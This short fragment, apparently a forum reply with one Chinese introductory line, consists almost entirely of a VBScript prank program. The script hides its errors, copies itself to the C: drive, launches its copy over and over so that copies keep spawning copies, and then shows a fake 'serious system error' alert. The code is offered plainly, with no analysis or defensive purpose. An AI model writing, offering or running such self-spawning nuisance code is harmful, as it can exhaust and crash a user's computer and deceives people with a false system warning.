后面那个很长那段是
on error resume next
createobject("wscript.shell").run "cmd /c copy " & wscript.scriptname & " c:\",0
createobject("wscript.shell").run "c:\" & wscript.scriptname
do while err.number<>0
err.number=0
createobject("wscript.shell").run "c:\" & wscript.scriptname
loop
createobject("wscript.shell").run "c:\" & wscript.scriptname
none=msgbox("系统出现严重错误!",16,"错误")